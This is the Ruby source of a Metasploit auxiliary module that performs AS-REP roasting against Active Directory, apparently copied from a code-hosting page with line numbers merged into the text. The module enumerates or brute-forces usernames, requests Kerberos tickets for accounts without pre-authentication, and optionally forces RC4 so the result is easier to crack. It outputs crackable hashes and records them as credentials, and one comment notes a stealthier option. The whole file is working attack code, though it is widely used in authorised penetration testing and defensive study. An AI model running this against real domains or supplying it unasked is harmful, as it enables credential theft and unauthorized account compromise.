Path: blob/master/modules/auxiliary/gather/asrep.rb
56892 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Kerberos::Client7include Msf::Exploit::Remote::LDAP8include Msf::Exploit::Remote::LDAP::Queries9include Msf::OptionalSession::LDAP1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',16'Description' => %q{17This module searches for AD users without pre-auth required. Two different approaches18are provided:19- Brute force of usernames (does not require a user account; should not lock out accounts)20- LDAP lookup (requires an AD user account)21},22'License' => MSF_LICENSE,23'Author' => [24'smashery', # MSF Module25],26'References' => [27['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']28],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [IOC_IN_LOGS],32'Reliability' => [],33'AKA' => ['preauth', 'asreproast']34},35'Actions' => [36['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],37['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],38],39'DefaultAction' => 'BRUTE_FORCE'40)41)4243register_options(44[45OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),46OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),47OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),48]49)50register_advanced_options(51[52OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),53]54)55end5657def run58case action.name59when 'BRUTE_FORCE'60run_brute61when 'LDAP'62run_ldap63end64rescue Errno::ECONNRESET65fail_with(Failure::Disconnected, 'The connection was reset.')66rescue Rex::ConnectionError => e67fail_with(Failure::Unreachable, e.message)68rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e69fail_with(Failure::NoAccess, e.message)70rescue Net::LDAP::Error => e71fail_with(Failure::Unknown, "#{e.class}: #{e.message}")72end7374def run_brute75result_count = 076user_file = datastore['USER_FILE']77username = datastore['LDAPUsername']78if user_file.blank? && username.blank?79fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing.')80end81verify_option('LDAPDomain')82if username.present?83begin84roast(username)85result_count += 186rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e87# User either not present, or requires preauth88vprint_status("User: #{username} - #{e}")89end90end91if user_file.present?92File.open(user_file, 'rb') do |file|93file.each_line(chomp: true) do |user_from_file|94roast(user_from_file)95result_count += 196rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e97# User either not present, or requires preauth98vprint_status("User: #{user_from_file} - #{e}")99end100end101end102103if result_count == 0104print_error('No users found without preauth required')105else106print_line107print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")108end109end110111def verify_option(opt)112value = datastore[opt]113if session.nil? && value.blank?114fail_with(Msf::Module::Failure::BadConfig, "You must set the '#{opt}' option when running the module without a pre-existing LDAP session.")115end116end117118def run_ldap119verify_option('LDAPDomain')120121run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result|122username = result.samaccountname[0]123begin124roast(username)125rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e126msg = session ? "Session #{session.sid} received an error: #{e}" : "#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})"127print_error(msg)128end129end130end131132def roast(username)133server_name = "krbtgt/#{datastore['domain']}"134client_name = username135realm = session ? session.client.realm : datastore['LDAPDomain']136rhost = session ? session.client.peerhost : datastore['RHOST']137138res = send_request_tgt(139server_name: server_name,140client_name: client_name,141realm: realm,142offered_etypes: etypes,143rport: 88,144rhost: rhost145)146147hash = format_as_rep_to_john_hash(res.as_rep)148print_line(hash)149jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)150report_hash(hash, jtr_format, rhost, 88)151end152153def report_hash(hash, jtr_format, address, port)154service_data = {155address: address,156port: port,157service_name: 'Kerberos',158protocol: 'tcp',159workspace_id: myworkspace_id160}161credential_data = {162module_fullname: fullname,163origin_type: :service,164private_data: hash,165private_type: :nonreplayable_hash,166jtr_format: jtr_format167}.merge(service_data)168169credential_core = create_credential(credential_data)170171login_data = {172core: credential_core,173status: Metasploit::Model::Login::Status::UNTRIED174}.merge(service_data)175176create_credential_login(login_data)177end178179def etypes180if datastore['USE_RC4_HMAC']181[Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]182else183# We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,184# and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added185Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes186end187end188189attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file190191end192193194